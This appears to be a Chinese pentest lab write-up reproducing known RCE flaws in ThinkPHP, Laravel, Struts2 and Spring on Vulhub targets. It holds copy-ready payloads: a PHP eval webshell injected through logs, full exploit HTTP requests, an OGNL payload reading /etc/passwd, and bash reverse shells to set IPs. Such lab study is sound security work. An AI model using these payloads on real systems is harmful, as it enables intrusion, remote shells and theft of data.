目录
案例一:PHP-开发框架安全-Thinkphp&Laravel
[ThinkPHP5 5.0.23](#ThinkPHP5 5.0.23)
案例二:JAVAWEB-开发框架安全-Spring&Struts2
[strust2 CVE-2020-17530](#strust2 CVE-2020-17530)
思维导图


常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
框架就是别人写好的成品,例如:文件上传(内置过滤)

案例一:PHP-开发框架安全-Thinkphp&Laravel
如何检测是否是thinkphp开发的?
- 利用工具wappalyzer,但不一定能检测出来

2.查看返回包

Thinkphp3.2.x日志泄露
thinkphp的默认日志路径为
开启debug模式日志保存在:\Application\Runtime\Logs\Home\
未开启debug模式日志保存在:\Application\Runtime\Logs\Common\
上传代码到服务器上
上传恶意代码到服务器上,需包含其文件相对或绝对路径
/index.php?m=Home&c=Index&a=index&value[_filename]=./[filename]
模块 (m): Home
控制器 (c): Index
动作 (a): index
请求参数:
- value[_filename] = ./Application/Runtime/Logs/Home/24_04_16.log
含义:
此 URL 表示对 Home 模块下的 Index 控制器中的 index 动作发出的请求,并指定了一个名为 value[_filename] 的请求参数,其值为一个文件路径。此文件路径指向一个日志文件,该日志文件存储在应用程序的 Runtime 目录下的 Logs/Home 子目录中,其名称为 24_04_16.log。
靶场环境:

自动化脚本检测
脚本下载地址:
链接:https://pan.baidu.com/s/1goi2IBZaJwRWe2qCLO37ig?pwd=bxsi
提取码:bxsi

点击命令执行,会出现一个日志地址

访问该地址,查看源代码

如何getshell
请求地址的时候会写入日志文件
?m=Home&c=Index&a=index&value[_filename]=./<?php eval($_REQUEST['a']);?>
日志文件的地址
?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/24_04_16.log

蚁剑测试连接

手工注入
参考文献:【漏洞通报】ThinkPHP3.2.x RCE漏洞通报
抓包3306端口页面,payload
/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

访问日志文件
ThinkPHP5 5.0.23
靶场位置:Vulhub - Docker-Compose file for vulnerability environment
手工注入
抓包发送到repeater,修改包信息如下
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
复现

获取phpinfo()

getshell,payload
echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pPz4=" | base64 -d > a.php
如果直接传一句话木马的话会被转义

需要先把语句进行base64编码 再用管道符进行base64 -d 解码

格式变了

蚁剑连接

工具检测

命令执行

反弹shell

蚁剑连接

laravel-cve_2021_3129
靶场环境:

插件检测

寻找脚本的思路

发现报过该漏洞,去git上直接搜版本号

脚本:https://github.com/zhzyker/CVE-2021-3129
利用,貌似不能getshell

发现不能getshell直接换个脚本
案例二:JAVAWEB-开发框架安全-Spring&Struts2
strust2:是一个基于 MVC 设计模式的 Web 应用框架
如何判断用的是strust2,如果后缀是action

20年以前的漏洞都可以直接利用工具利用

工具直接利用
知道版本后直接替换,就可以利用执行命令

换一个漏洞也可以直接利用

strust2 CVE-2020-17530
脚本地址:https://github.com/wuzuowei/CVE-2020-17530
命令执行

getshell

raw_input 为python2的模块,这里反弹shell要用到公网ip,用vulhub搭建一个本地环境
靶场地址:Vulhub - Docker-Compose file for vulnerability environment

利用脚本成功getshell

cve_2021_31805
这里靶场还用的上一个靶场
脚本地址:https://github.com/pyroxenites/s2-062

手工测试payload
POST /index.action HTTP/1.1
Host: X.X.X.X:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF---
测试

反弹shell


spring框架
spring本身漏洞不多,大部分漏洞都在他的一些分支上
CVE-2017-4971
靶场环境:https://vulhub.org/#/environments/spring/CVE-2017-4971/
访问以后先登录,然后输入账号密码

点击访问id为1的酒店然后预定

点击确认的时候进行抓包

payload包
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
直接发送过去不会反弹shell,原因是由于url编码会导致有些空格等不会识别

进行转码

编码以后成功getshell

CVE-2018-1273
靶场位置:https://vulhub.org/#/environments/spring/CVE-2018-1273/
靶场页面中spring的一些标识

访问user页面输入数据抓包

payload
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
修改命令为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}
未url编码之前不能够反弹shell

编码以后

修改编码以后,并且将connection变为keep-alive成功反弹shell

CVE-2022-22963
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
访问页面

抓包发送到repeater修改数据包,payload包如下
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
修改命令为反弹shell的命令

这里由于是请求头的原因,就算content-type为url编码格式,也不影响
